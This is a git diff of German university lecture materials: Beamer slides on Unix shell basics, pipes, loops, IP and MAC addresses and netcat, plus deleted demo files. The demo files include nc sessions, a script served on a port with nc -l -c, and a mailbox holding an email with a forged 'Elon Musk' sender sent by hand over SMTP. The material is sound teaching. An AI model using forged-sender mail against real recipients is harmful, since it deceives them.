\begin{picture}(0,0) - \color{red} - \put(7.22,0.50){\makebox(0,0)[tl]{% - \small - \begin{math}% - \underbrace{\rule{0.7em}{0pt}}_{\textstyle 6}% - \underbrace{\rule{0.7em}{0pt}}_{\textstyle 4}% - \underbrace{\rule{0.7em}{0pt}}_{\textstyle 0} - \end{math}}} - \end{picture} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \newterm{ausführbare\/} Dateien - \end{itemize} - - \begingroup -% \small - \begin{lstlisting}[style=terminal,gobble=6,xleftmargin=-3pt] - cassini/home/peter/bo/2019ws/es/20191002> ¡cat test2.txt¿ - ls -l - cassini/home/peter/bo/2019ws/es/20191002> ¡chmod +x test2.txt¿ - cassini/home/peter/bo/2019ws/es/20191002> ¡ls -l test2.txt¿ - -rwxr-xr-x 1 peter peter 6 Okt 2 13:43 test2.txt - cassini/home/peter/bo/2019ws/es/20191002> ¡./test2.txt¿ - insgesamt 4828 - lrwxrwxrwx 1 peter peter 18 Apr 13 2016 csa2.jpg -> ../common/csa2.jpg - -rw-r--r-- 1 peter peter 4619138 Okt 8 21:28 es-20191002.pdf - ... - \end{lstlisting} - \endgroup - -% \pause - \begin{itemize} - \item - ausführbare Textdateien: \newterm{Skripte} - -% \pause - \smallskip - hier: ausführbare Textdatei mit Shell-Befehlen\\ - (ohne spezielle Kennung): Shell-Skript - - \pause - \smallskip - Kennung: 1.\ Zeile enthält \lstinline[style=terminal]{#!} und den Interpreter,\\ - z.\,B.\ \lstinline[style=terminal]{#!/bin/bash}\\ - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - Datenträger in Verzeichnis \newterm{einhängen\/}: \lstinline[style=cmd]{mount} - \end{itemize} - - \begin{lstlisting}[style=terminal] - cassini/home/peter> ¡ls /media/usb1/¿ - cassini/home/peter> ¡mount /media/usb1¿ - cassini/home/peter> ¡ls /media/usb1/¿ - es-20191002.pdf hello.c hexapode KIS-Bericht.pdf - cassini/home/peter> ¡umount /media/usb1¿ - cassini/home/peter> ¡ls /media/usb1/¿ - cassini/home/peter> - \end{lstlisting} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \newterm{Symbolische Verknüpfungen -- symbolic links} - - \smallskip - - Verweis auf die eigentliche Datei\\ - \textarrow\ Wenn man die Datei löscht, zeigt der Link ins Leere. - - \smallskip - - Verknüpfung anlegen: \lstinline[style=cmd]{ln -s datei link}\\ - (Richtung: wie bei \lstinline[style=cmd]{cp}) - - \smallskip - - Beispiel: \lstinline[style=cmd]{ln -s ../common/GNU-GPL-3 gpl.txt} - \pause - \medskip - \item - \newterm{Harte Verknüpfungen -- hard links} - - \smallskip - - Dieselben Daten auf dem Datenträger\\ - sind unter mehreren Namen verfügbar.\\ - \textarrow\ Wenn man einen löscht, sind die Daten noch da. - - \smallskip - - \begingroup - \begin{lstlisting}[style=terminal,gobble=10,xleftmargin=-3pt] - cassini/home/peter/bo/2019ws/es/20191002> ¡ls -l¿ - ... - -rw-r--r-- 1 peter peter 1202 Okt 2 13:35 shell-06.txt - drwxr-xr-x 2 peter peter 4096 Okt 2 13:16 test - \end{lstlisting} - \endgroup - \begin{picture}(0,0.5) - \color{red} - \put(2.31,0){\tikz{\draw[-latex,red](0,0)--(0,0.5);}} - \put(0,-0.1){\makebox(0,0)[tl]{Anzahl der ("`harten"') Links - auf diese Datei / dieses Verzeichnis}} - \end{picture} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{grep}: Dateien durchsuchen - \end{itemize} - \begin{lstlisting}[style=terminal,xleftmargin=-3pt] - cassini/home/peter/bo/2019ws/es/20191002> ¡grep gcc *.txt¿ - shell-03.txt: cassini/...> gcc -Wall -O hello.c -o hello - \end{lstlisting} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{find}: Dateien anhand ihrer Eigenschaften suchen - \end{itemize} - -% \small - \begin{lstlisting}[style=terminal] - $ ¡find . -name "*.txt"¿ - ./shell-06.txt - ./shell-03.txt - ./shell-05.txt - ./test.txt - ./test/test.txt - ... - $ ¡find . -name "*.txt" -perm /u+x¿ - ./test2.txt - $ ¡find . -name "*.txt" -perm /u+x -exec ls -l {} \;¿ - -rwxr-xr-x 1 peter peter 6 Okt 2 13:43 ./test2.txt - \end{lstlisting} - -\end{frame} - -\subsection{Ein- und Ausgabeströme} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - Standard-Ausgabe in Datei umleiten - \end{itemize} - \begin{lstlisting}[style=terminal] - $ ¡echo "Dies ist ein Test." > test.txt¿ - $ ¡cat test.txt¿ - Dies ist ein Test. - \end{lstlisting} - - \pause - \smallskip - - \begin{itemize} - \item - Standard-Ausgabe an Datei anhängen - \end{itemize} - \begin{lstlisting}[style=terminal] - $ ¡echo "Dies ist noch ein Test." >> test.txt¿ - $ ¡cat test.txt¿ - Dies ist ein Test. - Dies ist noch ein Test. - \end{lstlisting} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - Fehler-Ausgabe in Datei umleiten - \end{itemize} - \begin{lstlisting}[style=terminal] - $ ¡cat gibtsnicht.txt > fehler.txt¿ - cat: gibtsnicht.txt: No such file or directory - $ ¡cat fehler.txt¿ - $ ¡cat gibtsnicht.txt 2> fehler.txt¿ - $ ¡cat fehler.txt¿ - cat: gibtsnicht.txt: No such file or directory - \end{lstlisting} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - Standard-Eingabe aus Datei lesen - \end{itemize} - \begin{lstlisting}[style=terminal] - $ ¡bc¿ - bc 1.06.95 - Copyright [...] 2006 Free Software Foundation, Inc. - This is free software with ABSOLUTELY NO WARRANTY. - For details type `warranty'. - ¡2 + 2¿ - 4 - $ ¡echo "2 + 2" > test.bc¿ - $ ¡bc < test.bc¿ - 4 - \end{lstlisting} - -\end{frame} - -\subsection{Pipes} - -\begin{frame}[fragile] - - \showsubsection - - Standard-Ausgabe von Programm A\\ - wird zu Standard-Eingabe von Programm B - - \smallskip - - \begin{lstlisting}[style=terminal] - $ ¡echo "2 + 2" | bc¿ - 4 - \end{lstlisting} - - \smallskip - - \textarrow\ sehr mächtiger "`Baukasten"' - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{sed}: \emph{stream editor}\\ - Suchen und Ersetzen (und noch viel mehr) - \end{itemize} - \begin{lstlisting}[style=terminal] - $ ¡echo "Schlimmer geht nimmer." | sed -e 's/nim/im/g'¿ - Schlimmer geht immer. - \end{lstlisting} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{grep}: Standard-Eingabe durchsuchen - \item - \lstinline[style=cmd]{$(...)}: Output in Kommandozeile übernehmen - \end{itemize} - \begin{lstlisting}[style=terminal] - $ ¡ls | grep slides¿ - pgslides.sty - $ ¡ls *.pdf | grep -v logo¿ - es-20191002.pdf - Zeichen_123.pdf - $ ¡ls -l $(ls *.pdf | grep -v logo)¿ - -rw-r--r-- 1 ... 4619138 Okt 8 21:28 es-20191002.pdf - lrwxrwxrwx 1 ... 25 Okt 3 2016 Zeichen_123.pdf -> ... - \end{lstlisting} - -\end{frame} - -\subsection{Verzweigungen und Schleifen} - -\begin{frame}[fragile] - - \showsubsection - - \begin{lstlisting}[style=terminal] - $ ¡if grep Blubb test.txt; then echo "gefunden"; \ - else echo "nicht gefunden"; fi¿ - nicht gefunden - $ ¡for x in foo bar baz; do echo $x; done¿ - foo - bar - baz - \end{lstlisting} - - \pause - \bigskip - - Beispiel: Datei mit einer \lstinline[style=cmd]{while}-Schleife zeilenweise lesen,\\ - Zeilennummen ergänzen und wieder ausgeben: - - \smallskip - - \begin{lstlisting}[style=terminal] - number=0 - cat test.txt \ - | while read line; do - number=$((number + 1)) - echo "Zeile $number: $line" - done - \end{lstlisting} - - \begin{itemize} - \item - \lstinline[style=cmd]{read}: Variable von Standardeingabe lesen - \item - \lstinline[style=cmd]{$((...))}: arithmetischen Ausdruck auswerten - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \textbf{Übungsaufgabe} - - \smallskip - - Schreiben Sie ein Shell-Skript,\\ - das aus einer selbst erstellten Textdatei (z.\,B.\ CSV) Daten extrahiert.\\ - Welche Daten, soll per Parameter angegeben werden. - -% \begin{itemize} -% \item -% Speichern Sie einen Satz Beispieldaten als CSV-Datei (Text). -% \item -% Schreiben Sie ein Shell-Skript, das die CSV-Datei liest, -% \item -% damit irgendetwas macht, z.\,B.\ zwei Spalten vertauscht, -% \item -% und das Ergebnis wieder als sinnvolle Datei abspeichert,\\ -% z.\,B.\ wieder als CSV-Datei, als HTML- oder \LaTeX-Datei, \dots -% \end{itemize} - - \medskip - - Beispiele: Siehe \file{../20231018.p0/dbs-20231018.txt} - - \medskip - - Hinweise: - \begin{itemize} - \item - Parameter in Shell-Skripten: - \lstinline[style=cmd]{$1}, \lstinline[style=cmd]{$2}, \dots - \item - \lstinline[style=cmd]{man cut} - \item - \lstinline[style=cmd]{man head} - \item - \lstinline[style=cmd]{man tail} - \item - Sie dürfen voraussetzen, daß in der Textdatei gespeicherte Strings\\ - bestimmte Zeichen (z.\,B.\ das Trennzeichen) nicht enthalten. - \end{itemize} - - \bigskip - - \textbf{Zusatzaufgabe} - - \smallskip - - Schreiben Sie dasselbe Programm noch einmal in einer beliebigen Sprache, - wobei die in der Textdatei gespeicherten Strings (nahezu) beliebige Zeichen - enthalten dürfen. - (Beispiel: Zwischen Anführungszeichen zählt auch das Trennzeichen - als Bestandteil des Strings.) - -\end{frame} - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \hfill\makebox(0,0)[br]{\raisebox{2.25ex}{\url{https://gitlab.cvh-server.de/pgerwinski/dbs}}}% - \item[\textbf{2}] \textbf{Kurzeinführung Unix} - \begin{itemize} - \item[2.1] Grundkonzepte - \item[2.2] Die Kommandozeile: Grundlagen - \color{medgreen} - \item[2.3] Dateisysteme - \item[2.4] Ein- und Ausgabeströme - \item[2.5] Pipes - \item[2.6] Verzweigungen und Schleifen - \end{itemize} - \item[\textbf{3}] \textbf{Kurzeinführung TCP/IP} - \begin{itemize} - \color{red} - \item[3.1] IP-Adressen - \item[3.2] MAC-Adressen - \item[3.3] TCP- und UDP-Ports - \item[\dots] - \end{itemize} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - - \vfilll - \underconstruction - -\end{frame} - -\section{Kurzeinführung TCP/IP} - -\subsection{IP-Adressen} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item \lstinline[style=cmd]{ip addr} (Linux)\\ - \lstinline[style=cmd]{ifconfig} (Unix allgemein)\\ - \lstinline[style=cmd]{ipconfig} (MS Windows) - \item \lstinline[style=cmd]{ip addr add <Netz>} -% \\ -% Beispiel: -% \lstinline[style=cmd]{ip addr add 192.168.2.197/24}\\ -% \includegraphics[width=7cm]{../20171026/photo-20171026-142620.jpg} - \item \lstinline[style=cmd]{ip link} - \item \lstinline[style=cmd]{ping <IP-Adresse>} - \end{itemize} - - \medskip - - \begin{lstlisting}[style=terminal] - # ifconfig - lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 - inet 127.0.0.1 netmask 255.0.0.0 - inet6 ::1 prefixlen 128 scopeid 0x10<host> - [...] - - wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 - inet 192.168.42.101 netmask 255.255.255.0 - broadcast 192.168.42.255 - ether be:3f:ca:aa:7e:51 txqueuelen 1000 (Ethernet) - [...] - \end{lstlisting} - -\end{frame} - -\begin{frame} - - \showsubsection - - IPv4-Adressen: - \begin{itemize} - \item - 32 Bit - \item - dezimal, 4 Gruppen zu je 8 Bit (0--255), durch Punkte getrennt - \end{itemize} - - \medskip - - IPv6-Adressen: - \begin{itemize} - \item - 128 Bit - \item - hexadezimal, 8 Gruppen zu je 4 Hex-Ziffern, durch Doppelpunkte getrennt - \item - Führende Nullen dürfen weggelassen werden. - \item - Zwei Dopppelpunkte bedeuten: Mit Nullen auffüllen. - \item - Literatur und Beispiel: \url{https://de.wikipedia.org/wiki/IPv6} - \end{itemize} - -\end{frame} - -\subsection{MAC-Adressen} - -\begin{frame} - - \showsubsection - - MAC = Media Access Control - - \smallskip - - MAC-Adresse = Hardware-Adresse = Ethernet-Adresse - - \begin{itemize} - \item \lstinline[style=cmd]{ip neig}\\ - \lstinline[style=cmd]{arp} - \end{itemize} - -\end{frame} - -\subsection{TCP- und UDP-Ports} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{nc <IP> <Port>}\\ - Verbindung zu Programm $\langle$Port$\rangle$ - auf Rechner $\langle$IP$\rangle$ aufnehmen - \item - \lstinline[style=cmd]{nc -l <Port>} - oder - \lstinline[style=cmd]{nc -p <Port> -l}\\ - auf eingehende Verbindungen warten ("`lauschen"') - \medskip - \item - TCP-Ports: Verbindungskonzept, Netzwerk prüft - \item - UDP-Ports: einzelne Pakete, Anwendung muß selbst prüfen - \item - ICMP: keine Ports, nur Rechner:\\ - Erreichbarkeit, Eigenschaften der Übertragung - \end{itemize} - - \medskip - - \begin{center} - \renewcommand{\arraystretch}{1.2} - \begin{tabular}{|l|}\hline - Anwendung: HTTP, SMTP, \dots \\\hline - Transport: TCP-/UDP-Ports, ICMP \\\hline - Internet: IP-Adresse \\\hline - Netzwerkzugang: Hardware-/MAC-Adresse \\\hline - \end{tabular} - \end{center} - -\end{frame} - -\iffalse - -\subsection{TCP-Protokolle} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - \textbf{HTTP}\\ - \lstinline[style=cmd]{GET / HTTP/1.1}\\ - \lstinline[style=cmd]{Host: www.hs-bochum.de}\\ - (Leerzeile) -% \begin{onlyenv}<2> -% \par\medskip -% URL: Schema://Benutzer:Passwort@Rechner:port/Pfad?Query\#Fragment -% \end{onlyenv} - \begin{onlyenv}<2-> - \medskip - \item - \textbf{SMTP}\\ - \lstinline[style=cmd]{HELO cassini}\\ - \lstinline[style=cmd]{MAIL FROM: <example@example.com>}\\ - \lstinline[style=cmd]{RCPT TO: <beispiel@example.de>}\\ - (E-Mail-Header -- Teil der Nutzdaten)\\ - \lstinline[style=cmd]{From: Eddie Example <example@example.com>}\\ - \lstinline[style=cmd]{To: Bert Beispiel <beispiel@example.de>}\\ - \lstinline[style=cmd]{Subject: Hello, world!}\\ - (Leerzeile)\\ - \lstinline[style=cmd]{Hi, there!}\\ - \lstinline[style=cmd]{.} - \medskip - \item - Protokolle "`mal eben"' selbst schreiben: - \lstinline[style=cmd]{nc -c} oder \file{inetd} - \end{onlyenv} - \end{itemize} - -\end{frame} - -\subsection{Routing} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{ip route} (Linux)\\ - \lstinline[style=cmd]{route} (MS-Windows, Unix)\\ - \lstinline[style=cmd]{netstat -nr} (MacOS) -% \\[\medskipamount] -% \includegraphics[width=11cm]{../20171026/photo-20171026-162455.jpg} - \end{itemize} - - \medskip - - \begin{lstlisting}[style=terminal] - # route -n - Kernel-IP-Routentabelle - Ziel Router Genmask [...] Iface - 0.0.0.0 192.168.42.1 0.0.0.0 [...] wlan0 - 169.254.0.0 0.0.0.0 255.255.0.0 [...] wlan0 - 192.168.42.0 0.0.0.0 255.255.255.0 [...] wlan0 - \end{lstlisting} - - \bigskip - - Netzmaske:\\ - Wenn nach Und-Verknüpfung mit IP-Adresse gleich, - \textarrow\ im gleichen Netz - - \medskip - - \lstinline[style=terminal]{255.255.240.0} ist dasselbe wie - \lstinline[style=terminal]{/20}\\ - (20 Bit sind 1; die restlichen 12 Bit sind 0) - -\end{frame} - -\subsection{Netzwerkanalyse} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{tcpdump} - \item - \lstinline[style=cmd]{wireshark} - \item - \lstinline[style=cmd]{ettercap} - \end{itemize} - -\end{frame} - -\subsection{SSH} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - \lstinline[style=cmd]{SSH <Rechner>} - \item - \lstinline[style=cmd]{-C}: Komprimierung - \item - \lstinline[style=cmd]{-L}: lokalen Port auf Remote-Port umleiten - \item - \lstinline[style=cmd]{-R}: Remote-Port auf lokalen Port umleiten - \end{itemize} - -\end{frame} - -\iffalse - -\subsection{X11} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - Grafik-Bildschirm und Eingabegeräte über's Netz - \item - \lstinline[style=cmd]{DISPLAY}-Variable: X-Server: Rechner und Bildschirm - \item - \lstinline[style=cmd]{ssh -X}: X11-Forwarding - \end{itemize} - -\end{frame} - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \hfill\makebox(0,0)[br]{\raisebox{2.25ex}{\url{https://gitlab.cvh-server.de/pgerwinski/dbs}}}% - \item[\textbf{2}] \textbf{Kurzeinführung Unix} - \begin{itemize} - \item[2.1] Grundkonzepte - \item[2.2] Die Kommandozeile: Grundlagen - \item[2.3] Dateisysteme - \item[2.4] Ein- und Ausgabeströme - \item[2.5] Pipes - \item[2.6] Verzweigungen und Schleifen - \end{itemize} - \item[\textbf{3}] \textbf{Kurzeinführung TCP/IP} - \begin{itemize} - \color{medgreen} - \item[3.1] IP-Adressen - \item[3.2] MAC-Adressen - \item[3.3] TCP- und UDP-Ports - \item[\dots] - \end{itemize} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - - \vfilll - \underconstruction - -\end{frame} - -\fi -\fi - -\end{document} diff --git a/20231026/hello-01 b/20231026/hello-01 deleted file mode 100755 index 496af8dffb429e184f3bb536ad37c3eab61cd4b6..0000000000000000000000000000000000000000 --- a/20231026/hello-01 +++ /dev/null @@ -1 +0,0 @@ -echo "Hello, world!" diff --git a/20231026/hello-02 b/20231026/hello-02 deleted file mode 100755 index 0d0507294e178eb79204957c309bde3f7b4ee816..0000000000000000000000000000000000000000 --- a/20231026/hello-02 +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash - -echo -n "Wie heißen Sie? " -read name -echo "Hallo, $name!" diff --git a/20231026/http-01.txt b/20231026/http-01.txt deleted file mode 100644 index 2671d619877bf99149f7d8271e536ccd8a1b5c93..0000000000000000000000000000000000000000 --- a/20231026/http-01.txt +++ /dev/null @@ -1,18 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231026> nc -C 88.198.170.60 80 -GET / -<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN"> -<html> - <head> - <title>ngc224.gerwinski.de</title> - </head> - <body background="ngc224.jpg" bgcolor="#000000" text="#CFCFCF" - link="#7F7FFF" alink="#CFCFFF" vlink="#FF5FFF"> - <h1>ngc224.gerwinski.de - der Server</h1> - <p>Benannt nach der Andromeda-Galaxie - M31 - NGC224 - <p align="center"><img src="null.png" alt="" width="1" height="1" vspace="360"> - <p><font size="-2"><a href="http://www.peter.gerwinski.de">Peter Gerwinski</a><br> - <a href="http://www.noao.edu/image_gallery/html/im0424.html">Bild: - Bill Schoening, Vanessa Harvey/REU program/NOAO/AURA/NSF</a></font> - </body> -</html> -cassini/home/peter/bo/2023ws/dbs/20231026> diff --git a/20231026/logo-hochschule-bochum-cvh-text-v2.pdf b/20231026/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20231026/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20231026/logo-hochschule-bochum.pdf b/20231026/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20231026/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20231026/loops-02.txt b/20231026/loops-02.txt deleted file mode 100644 index 2014aa3329a867e121f9279d7b639f883b0810bd..0000000000000000000000000000000000000000 --- a/20231026/loops-02.txt +++ /dev/null @@ -1 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs> for x in 20231019 20231026; do ( cd $x; pdflatex dbs-$x.tex ); done diff --git a/20231026/mailbox.txt b/20231026/mailbox.txt deleted file mode 100644 index d9bd8aadf88330dd89417b15fd5b559139983f53..0000000000000000000000000000000000000000 --- a/20231026/mailbox.txt +++ /dev/null @@ -1,53 +0,0 @@ -From elon.musk@hs-bochum.de Thu Oct 26 12:32:51 2023 -Return-path: <elon.musk@hs-bochum.de> -Envelope-to: peter@phoenix.intern -Delivery-date: Thu, 26 Oct 2023 12:32:51 +0200 -Received: from [127.0.0.1] (helo=m31.gerwinski.de) - by cassini with esmtp (Exim 4.96) - (envelope-from <elon.musk@hs-bochum.de>) - id 1qvxfW-000Yl7-1s - for peter@phoenix.intern; - Thu, 26 Oct 2023 12:32:51 +0200 -Received: from [195.37.15.82] (helo=cassini) - by m31.gerwinski.de with smtp (Exim 4.94.2) - (envelope-from <elon.musk@hs-bochum.de>) - id 1qvxeT-006C4R-Pr - for peter@gerwinski.de; Thu, 26 Oct 2023 12:32:51 +0200 -From: Elon Musk <elon@musk.com> -To: Bill Gates <gates@microsoft.com> -Subject: New Job -Message-Id: <E1qvxfW-000Yl7-1s@cassini> -Date: Thu, 26 Oct 2023 12:32:51 +0200 -Content-Length: 43 -Lines: 1 - -Hi, Bill! I'm now at hs-bochum.de! B-) CU! - -From peter.gerwinski@hs-bochum.de Thu Oct 26 12:27:58 2023 -Return-path: <peter.gerwinski@hs-bochum.de> -Envelope-to: peter@phoenix.intern -Delivery-date: Thu, 26 Oct 2023 12:27:58 +0200 -Received: from [127.0.0.1] (helo=m31.gerwinski.de) - by cassini with esmtp (Exim 4.96) - (envelope-from <peter.gerwinski@hs-bochum.de>) - id 1qvxam-000YXM-3D - for peter@phoenix.intern; - Thu, 26 Oct 2023 12:27:58 +0200 -Received: from [195.37.15.82] (helo=cassini) - by m31.gerwinski.de with smtp (Exim 4.94.2) - (envelope-from <peter.gerwinski@hs-bochum.de>) - id 1qvxaO-006BmH-FT - for peter@gerwinski.de; Thu, 26 Oct 2023 12:27:57 +0200 -Subject: Test -Message-Id: <E1qvxam-000YXM-3D@cassini> -From: peter.gerwinski@hs-bochum.de -Date: Thu, 26 Oct 2023 12:27:58 +0200 -Content-Length: 45 -Lines: 5 - -Hallo, - -dies ist ein Test. - -Schöne Grüße! - diff --git a/20231026/nc-01.txt b/20231026/nc-01.txt deleted file mode 100644 index d8c63d1ead421ad55537843c0da40e46192d71a7..0000000000000000000000000000000000000000 --- a/20231026/nc-01.txt +++ /dev/null @@ -1,20 +0,0 @@ -cassini/home/peter> nc -p 1234 -l -Hallo? -Hier auch hallo! :-) -Ah. Schön, Dich zu treffen. -Ganz meinerseits. -Tschüs! -Tschüs! -^C -cassini/home/peter> - -8< --------------------------------------------------------------------- - -cassini/home/peter/bo/2023ws/dbs/20231026> nc 127.0.0.1 1234 -Hallo? -Hier auch hallo! :-) -Ah. Schön, Dich zu treffen. -Ganz meinerseits. -Tschüs! -Tschüs! -cassini/home/peter/bo/2023ws/dbs/20231026> diff --git a/20231026/nc-02.txt b/20231026/nc-02.txt deleted file mode 100644 index 82de65fd52608b716b9345d3fc705862ded2a220..0000000000000000000000000000000000000000 --- a/20231026/nc-02.txt +++ /dev/null @@ -1,11 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231026> cat hello-01 -echo "Hello, world!" -cassini/home/peter/bo/2023ws/dbs/20231026> chmod +x hello-01 -cassini/home/peter/bo/2023ws/dbs/20231026> nc -p 1234 -l -c ./hello-01 -cassini/home/peter/bo/2023ws/dbs/20231026> - -8< --------------------------------------------------------------------- - -cassini/home/peter> nc localhost 1234 -Hello, world! -cassini/home/peter> diff --git a/20231026/nc-03.txt b/20231026/nc-03.txt deleted file mode 100644 index b1dc470fda9391b21e8016277de71261525ebbd4..0000000000000000000000000000000000000000 --- a/20231026/nc-03.txt +++ /dev/null @@ -1,16 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231026> cat hello-02 -#!/bin/bash - -echo -n "Wie heißen Sie? " -read name -echo "Hallo, $name!" -cassini/home/peter/bo/2023ws/dbs/20231026> nc -p 1234 -l -c ./hello-02 -cassini/home/peter/bo/2023ws/dbs/20231026> - -8< --------------------------------------------------------------------- - -cassini/home/peter> nc localhost 1234 -Wie heißen Sie? Peter -Hallo, Peter! -Sie haben Post in /var/mail/peter. -cassini/home/peter> diff --git a/20231026/pgslides.sty b/20231026/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20231026/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20231026/pipes-04.txt b/20231026/pipes-04.txt deleted file mode 100644 index 3efcc96644d0d792d74548f1a873f6b73a5c6c0c..0000000000000000000000000000000000000000 --- a/20231026/pipes-04.txt +++ /dev/null @@ -1,547 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> echo "2^65536" | bc -l -20035299304068464649790723515602557504478254755697514192650169737108\ -94059556311453089506130880933348101038234342907263181822949382118812\ -66886950636476154702916504187191635158796634721944293092798208430910\ -48559905701593189596395248633723672030029169695921561087649488892540\ -90805911457037675208500206671563702366126359747144807111774815880914\ -13574272096719015183628256061809145885269982614142503012339110827360\ -38437678764490432059603791244909057075603140350761625624760318637931\ -26484703743782954975613770981604614413308692118102485959152380195331\ -03029216280016056867010565164675056803874152946384224484529253736144\ -25336143737290883037946012747249584148649159306472520151556939226281\ -80691650796381064132275307267143998158508811292628901134237782705567\ -42108007006528396332215507783121428855167555407334510721311242739956\ -29827197691500548839052238043570458481979563931578535100189920000241\ -41963706813559840464039472194016069517690156119726982337890017641517\ -19005113346630689814021938348143542638730653955296969138802415816185\ -95611006403621197961018595348027871672001226046424923851113934004643\ -51623867567078745259464670903886547743483217897012764455529409092021\ -95958575162297333357615955239488529757995402847194352991354376370598\ -69289137571537400019863943324648900525431066296691652434191746913896\ -32476560289415199775477703138064781342309596190960654591300890188887\ -58808473362595606544488850144733570605881709016210849971452956834406\ -19796905654698136311620535793697914032363284962330464210661362002201\ -75787851857409162050489711781820400187282939943446186224328009837323\ -76493181478984811945271300744022076568091037620399920349202390662626\ -44919091679854615157788390603977207592793788522412943010174580868622\ -63369284725851403039615558564330385450688652213114813638408384778263\ -79045960718687672850976347127198889068047824323039471865052566097815\ -07298611414303058169279249714091610594171853522758875044775922183011\ -58780701975535722241400019548102005661773589781499532325208589753463\ -54700778669040642901676380816174055040511767009367320280454933902799\ -24918673065399316407204922384748152806191669009338057321208163507076\ -34351669869625020969023162859350071874190579161241536897514808261904\ -84794657173660100589247665544584083833479054414481768425532720731558\ -63493476051374197795251903650321980201087647383686825310251833775339\ -08861426184800374008082238104076468878471647552945326947661700424461\ -06331123802113458869453220011656407632702307429242605158281107038701\ -83453245676356259514300320374327407808790562836634069650308442258559\ -67039271869461158513793386475699748568670079823960604393478850861649\ -26030494506174341236582835214480672667684180708375486221140823657980\ -29612000274413244384324023312574035450193524287764308802328508558860\ -89962774458164680857875115807014743763867976955049991643998284357290\ -41537814343884730348426190338884149403136613985425763557710533558020\ -66221855770600825512888933322264362819848386132395706761914096385338\ -32374343758830859233722284644287996245605476932428998432652677378373\ -17328806321075321123868060467470842805116648870908477029120816110491\ -25555983223662448685566514026846412096949825905655192161881043412268\ -38996283071654868525536914850299539675503954938371853405900096187489\ -47399288043249637316575380367358671017578399481847179849824694806053\ -20819960661834340124760966395197780214411997525467040806084993441782\ -56285092726523709898651539462193004607364507926212975917698293892367\ -01517099209153156781443979124847570623780460000991829332130688057004\ -65914583872080880168874458355579262584651247630871485663135289341661\ -17490617526671492672176128330845273936469244582892571388877839056300\ -48248379983969202922221548614590237347822268252163995744080172714414\ -61795592261750838890200741699262383002822862492841826712434057514241\ -88569994272331606998712986882771820617214453142574944015066139463169\ -19762918150657974552623619122484806389003366907436598922634956411466\ -55030629659601997206362026035219177767406687774635493753188995878662\ -82125469797102065747232721372918144666659421872003474508942830911535\ -18927111428710837615922238027660532782335166155514936937577846667014\ -57179719012271178127804502400263847587883393968179629506907988171216\ -90686929538248529830023476068454114178139110648560236549754227497231\ -00761513187002405391051091381784372179142252858743209852495787803468\ -37033378184214440171386881242499844186181292711985333153825673218704\ -21530631197748535214670955334626336610864667332292409879849256691109\ -51614361860154890974024191350962304361219612816595051866602203071561\ -36847323646608689050142639139065150639081993788523183650598972991254\ -04479443425166774299659811849233151555272883274028352688442408752811\ -28328998062591267369954624734154333350014723143061275039030739713525\ -20693381738433229507010490618675394331307847980156551303847581556852\ -36218010419650255596181934986315913233036096461905990236112681196023\ -44184336333459492763194610171665291382371718239429921627253846177606\ -56945422978770713831988170369645886898118632109769003557358846244648\ -35706291453052757101278872027965364479724025405448132748391794128826\ -42383517194919720979714593688753719872913083173803391101612854741537\ -73777159517280841116275971863849242228023734419254699919836721921312\ -87035585307966942713416391033882754318613643490100943197409047331014\ -47629986172542442335561223743571582593338280498624389249822278071595\ -17627578471094751190334822414120251826887137281931042534781961284401\ -76479531505057110722974314569915223451643121848657575786528197564843\ 